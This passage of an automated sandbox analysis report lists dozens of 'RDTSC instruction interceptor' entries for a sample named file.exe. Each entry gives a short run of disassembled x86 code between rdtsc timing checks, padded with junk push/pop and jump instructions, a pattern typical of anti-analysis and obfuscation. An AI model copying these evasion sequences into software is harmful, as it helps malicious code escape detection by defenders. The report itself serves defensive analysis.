Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E319 second address: 97E328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9803DB second address: 9803E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 981480 second address: 981485 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E3EA second address: 97E3EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9822AB second address: 9822AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E3EE second address: 97E3F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9822AF second address: 9822B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 983298 second address: 98329D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 984406 second address: 984410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F9FD0BBDFF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9855EF second address: 9855F5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9855F5 second address: 985606 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985606 second address: 98560A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98560A second address: 985614 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9FD0BBDFF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985614 second address: 98561E instructions: 0x00000000 rdtsc 0x00000002 js 00007F9FD14BA52Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B6F0 second address: 98B6F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B6F4 second address: 98B710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9FD14BA530h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9908DA second address: 9908DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993A01 second address: 993A1B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9FD14BA526h 0x00000008 jno 00007F9FD14BA526h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 jc 00007F9FD14BA526h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 997FCF second address: 997FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99A825 second address: 99A829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99A829 second address: 99A82D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99A82D second address: 99A833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99A833 second address: 99A875 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d jnl 00007F9FD0BBDFF6h 0x00000013 jc 00007F9FD0BBDFF6h 0x00000019 popad 0x0000001a pop ebx 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f jmp 00007F9FD0BBE007h 0x00000024 mov eax, dword ptr [eax] 0x00000026 jl 00007F9FD0BBE000h 0x0000002c push eax 0x0000002d push edx 0x0000002e push ebx 0x0000002f pop ebx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99A920 second address: 99A924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BD66 second address: 92BD6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BD6A second address: 92BD88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9FD14BA533h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BD88 second address: 92BD8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E7A7 second address: 99E7AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E7AF second address: 99E7B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E7B3 second address: 99E7B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E7B7 second address: 99E7CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a jc 00007F9FD0BBDFF6h 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EA7B second address: 99EAAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD14BA52Fh 0x00000007 jmp 00007F9FD14BA537h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EAAB second address: 99EAC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9FD0BBDFFFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EC36 second address: 99EC50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9FD14BA536h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EC50 second address: 99EC54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EDE2 second address: 99EDE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EDE8 second address: 99EDEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EDEE second address: 99EDF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EDF3 second address: 99EE0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9FD0BBE001h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EE0A second address: 99EE49 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9FD14BA526h 0x00000008 jmp 00007F9FD14BA52Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 jne 00007F9FD14BA526h 0x0000001d popad 0x0000001e pushad 0x0000001f jmp 00007F9FD14BA539h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EE49 second address: 99EE51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EE51 second address: 99EE59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EF90 second address: 99EFAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9FD0BBE001h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EFAA second address: 99EFC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9FD14BA530h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99F116 second address: 99F11A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99F11A second address: 99F13C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F9FD14BA526h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 ja 00007F9FD14BA528h 0x00000018 push edx 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c je 00007F9FD14BA526h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99F13C second address: 99F146 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9FD0BBDFF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99F146 second address: 99F14F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A36AF second address: 9A36B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A36B5 second address: 9A36D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F9FD14BA53Ah 0x0000000c jmp 00007F9FD14BA52Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A3A3C second address: 9A3A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A3A40 second address: 9A3A46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A3A46 second address: 9A3A64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0BBE002h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F9FD0BBDFF6h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A3A64 second address: 9A3A6A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A3D2A second address: 9A3D30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A3D30 second address: 9A3D3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9FD14BA526h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A3D3A second address: 9A3D68 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9FD0BBDFF6h 0x00000008 jmp 00007F9FD0BBE006h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f ja 00007F9FD0BBE002h 0x00000015 jo 00007F9FD0BBDFF6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A41D8 second address: 9A41DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A41DD second address: 9A41E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A4322 second address: 9A4326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A448B second address: 9A44D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0BBE008h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c jmp 00007F9FD0BBE006h 0x00000011 pop eax 0x00000012 jmp 00007F9FD0BBE008h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A44D9 second address: 9A44E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A44E1 second address: 9A44E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9926 second address: 9A9934 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9FD14BA526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9934 second address: 9A9938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA588 second address: 9AA58C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA6FF second address: 9AA705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA855 second address: 9AA859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA859 second address: 9AA861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA861 second address: 9AA867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA867 second address: 9AA87E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F9FD0BBDFF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jo 00007F9FD0BBE000h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B052A second address: 9B053F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD14BA531h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF251 second address: 9AF272 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0BBDFFFh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F9FD0BBDFFCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C98A second address: 96C98E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C98E second address: 96C992 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CA66 second address: 96CA6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CDC6 second address: 96CDCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CDCF second address: 7CDC5A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D3A7Ah], ebx 0x00000010 push dword ptr [ebp+122D0725h] 0x00000016 jc 00007F9FD14BA529h 0x0000001c call dword ptr [ebp+122D3AFFh] 0x00000022 pushad 0x00000023 xor dword ptr [ebp+122D3920h], edx 0x00000029 xor eax, eax 0x0000002b sub dword ptr [ebp+122D3080h], ecx 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 pushad 0x00000036 xor bh, 00000029h 0x00000039 mov edx, dword ptr [ebp+122D2CD5h] 0x0000003f popad 0x00000040 jmp 00007F9FD14BA52Ah 0x00000045 mov dword ptr [ebp+122D2CF1h], eax 0x0000004b jng 00007F9FD14BA532h 0x00000051 jmp 00007F9FD14BA535h 0x00000056 mov esi, 0000003Ch 0x0000005b jns 00007F9FD14BA52Ch 0x00000061 mov dword ptr [ebp+122D3AF4h], esi 0x00000067 add esi, dword ptr [esp+24h] 0x0000006b cld 0x0000006c lodsw 0x0000006e mov dword ptr [ebp+122D3080h], edi 0x00000074 add eax, dword ptr [esp+24h] 0x00000078 stc 0x00000079 mov ebx, dword ptr [esp+24h] 0x0000007d add dword ptr [ebp+122D3AF4h], edx 0x00000083 nop 0x00000084 push ebx 0x00000085 push eax 0x00000086 push edx 0x00000087 pushad 0x00000088 popad 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CE3B second address: 96CE96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9FD0BBDFF6h 0x0000000a popad 0x0000000b add dword ptr [esp], 4DBCA156h 0x00000012 mov edi, 5426C357h 0x00000017 call 00007F9FD0BBDFF9h 0x0000001c pushad 0x0000001d pushad 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 jmp 00007F9FD0BBE007h 0x00000025 popad 0x00000026 jnc 00007F9FD0BBDFF8h 0x0000002c push esi 0x0000002d pop esi 0x0000002e popad 0x0000002f push eax 0x00000030 push esi 0x00000031 pushad 0x00000032 pushad 0x00000033 popad 0x00000034 push ecx 0x00000035 pop ecx 0x00000036 popad 0x00000037 pop esi 0x00000038 mov eax, dword ptr [esp+04h] 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f js 00007F9FD0BBDFF6h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CFE5 second address: 96CFE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D1D7 second address: 96D1DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D31A second address: 96D31E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D31E second address: 96D351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F9FD0BBDFF8h 0x0000000c popad 0x0000000d nop 0x0000000e adc ecx, 51D09885h 0x00000014 push 00000004h 0x00000016 jmp 00007F9FD0BBE000h 0x0000001b nop 0x0000001c je 00007F9FD0BBE004h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D351 second address: 96D355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D6CB second address: 96D6D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D6D1 second address: 96D6D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D6D5 second address: 96D743 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9FD0BBDFF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F9FD0BBDFF8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push 0000001Eh 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007F9FD0BBDFF8h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 pushad 0x00000046 mov cx, 0C0Fh 0x0000004a mov esi, dword ptr [ebp+122D2D31h] 0x00000050 popad 0x00000051 push eax 0x00000052 push ecx 0x00000053 push eax 0x00000054 push edx 0x00000055 jns 00007F9FD0BBDFF6h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D743 second address: 96D747 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D869 second address: 96D86F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DAD8 second address: 96DAE2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9FD0C645E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF69F second address: 9AF6A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF952 second address: 9AF95C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9FD0C645E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF95C second address: 9AF97D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9FD080A019h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF97D second address: 9AF983 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF983 second address: 9AF9A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9FD080A016h 0x0000000d rdtsc
